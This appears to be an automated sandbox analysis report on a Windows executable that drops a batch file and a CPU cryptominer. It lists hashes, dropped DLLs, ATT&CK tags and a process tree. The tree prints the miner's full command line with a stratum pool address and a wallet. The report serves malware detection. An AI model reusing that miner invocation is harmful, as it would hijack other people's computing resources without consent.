73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
301s
max time network
305s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
24/02/2024, 14:10

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4668	b2e.exe
3540	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3540	cpuminer-sse2.exe
3540	cpuminer-sse2.exe
3540	cpuminer-sse2.exe
3540	cpuminer-sse2.exe
3540	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4036-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4036 wrote to memory of 4668	4036	batexe.exe	73
PID 4036 wrote to memory of 4668	4036	batexe.exe	73
PID 4036 wrote to memory of 4668	4036	batexe.exe	73
PID 4668 wrote to memory of 2384	4668	b2e.exe	75
PID 4668 wrote to memory of 2384	4668	b2e.exe	75
PID 4668 wrote to memory of 2384	4668	b2e.exe	75
PID 2384 wrote to memory of 3540	2384	cmd.exe	77
PID 2384 wrote to memory of 3540	2384	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4036
- C:\Users\Admin\AppData\Local\Temp\B611.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B611.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B611.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4668
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BBBE.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2384
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B611.tmp\b2e.exe

Filesize
4.2MB

MD5
dcadad301dc92f4e370a9c7313b14bad

SHA1
ef86c64ad4ac794dfea8bb4c71b5c053787e3a7a

SHA256
fa389794daaf5b9751b3398c75721bb72df5f5b095ee7edd625845f3114a2d47

SHA512
c57a29abc1973f5a8c23a44af151c0718570458ded28d04c413a2ac4820cbed04cb5c8a273deb7f561a8063106e0cff8c3b99129fa2e6c14e250279ad64bb1e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\B611.tmp\b2e.exe

Filesize
3.0MB

MD5
42e52d2aa6e0aa4e0a6cb435f3e72e32

SHA1
904d518be9644114eda76add80ccf585ee238731

SHA256
4f8c614822cb12e7405d484d8ef1c5796fe1002f4e20867e761623d6108bd5ed

SHA512
c5bdbe9278322b817f6744ed51e93d2a5a32b7285a5d8506bd7d6578fd432f43caec54c5ae81074a06b8c2b4a36ad5ee4bb6e817698252ec8df1406ee68916e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\BBBE.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
128KB

MD5
48c422e815911804d8322f84e605438f

SHA1
b577cb4575fdf07ead63d0f9831833f4f30788e9

SHA256
3247538f008c10c405b77c7a1ff636bd7f7e72b0cf4b5990870c157958b4e6ea

SHA512
0278d1c8a8bb02bb70bac382c89481451ddd147f2b195fed3cf1105524358a04703be54186e138d0e1f1423441e694cd292eb890cfe66bc421eb160821548f8c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
256KB

MD5
1d86b9560854472453237bcbaa2e253f

SHA1
5a03a7902d250377a3e9f746badcb696e2c98228

SHA256
1493703a430c68bdcedcb4078486daca39a02820199e7b72017c7b1af66e1c8d

SHA512
afbc3d7f8e06e41db25d666999f4d162af7054a66b17a651ac8a7f092f83580a067bfa2f558be65ace5966dffaa8735fe7a579e88bf42b34eaa3e72cdec96699

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
192KB

MD5
625f906456510afaf916dd0384d76eee

SHA1
66c56574aff02fb199caa60ab71ca9f1c9e7fc92

SHA256
27baaef233592b03722c7d64c26d2270c0300ffb8e7f08a8e0d65212af4b848d

SHA512
041399c5ddc614d8b1a359238df8fb09258c95a0013e5139dbf4093b892395f5f78fa31fbecfee92966c5e78a5c5894005c98e559b8b5735ecf9c1995df51b17

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
320KB

MD5
c911df8bf8c66277e14360319b0b93b7

SHA1
598c59c0e7cbecb788ee676db218dc0faaa39bdc

SHA256
4c53941f04ddeae2179047a1c7f8c7f7f46af0f08c424ab66d61f2316f2ee77d

SHA512
13aeae87ee52f22d1c928c99c66e116254cde630c09f90b146962fa61276af13fef653b7a66184d00d614f0379750e641c2e62326ebb5588ca632e56c935d77c

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
64KB

MD5
7fcedb6e973c5df3b6652a2afafa6a13

SHA1
116728803559ab58a8127544df80b75a0dd1c6d2

SHA256
fd7191afdecd35b78a0c0ca0457cbbf42ffda1e52263cd785abca5f047b18825

SHA512
05c86bf84079a2cc13dc7a1a917a0839ccd2b18e0440c4bd419c99f65c4161ac69a9447f56bdf6051b2fbbc49b7556fc3717432d0e293dfae2921c0701fe64fd

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.8MB

MD5
9b7005b0cd65f4de09b2b360f9c17ec5

SHA1
bf6e47256a84284f189fb4fde155ae10b18bd97d

SHA256
e2eee45e4abd2dc2f6a2c29b2012ce2e52f312dcc55056adef11d4678329fe2e

SHA512
9283de9512760a1bf98e90b18cf794d0e717b9b9d26739e7b80c77c93ad3dae30c58254c909ea45d0b483c4a41359efe3ece7d1407a81c43c582023cc45d705a

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.6MB

MD5
fbc6986d0b282044d62bdc8e6ddef141

SHA1
637151872a5e110a0413926fde352a9c5558a269

SHA256
8652a795b0c60dc45c16f5da4797c14fdec7c23580b753b2a557403d61ab416f

SHA512
069262697158ef0a71a9ff0e77e1c6064a6e9e1886b9ba4d1ed6acdd4a9a8e3969c446c0345c8b8ce017f82f7c63111c2f2b76d74be3e395302e1cda7e52af5e

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
256KB

MD5
eca0c37eee65c31b869788d5d0bf00cd

SHA1
33a5c0cd2f0a7296a5c0169699ed8e065b57e5e8

SHA256
1d2b7bd4ddd99d627d5111252baadf028dc9910cf414892867502e5951de962e

SHA512
5f302da7772fca0a6d03ffd8732850f526acf5fcc33e189d2d906a33101454d970d5cca2f829a006d15c4a857341d72c7876cb2e7af84ada4f158695aba5a4dc

Download Submit
memory/3540-42-0x0000000050730000-0x00000000507C8000-memory.dmp

Filesize
608KB

Download
memory/3540-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3540-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3540-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3540-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3540-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3540-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/3540-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3540-50-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3540-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3540-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3540-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3540-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3540-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3540-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4036-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4668-55-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4668-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download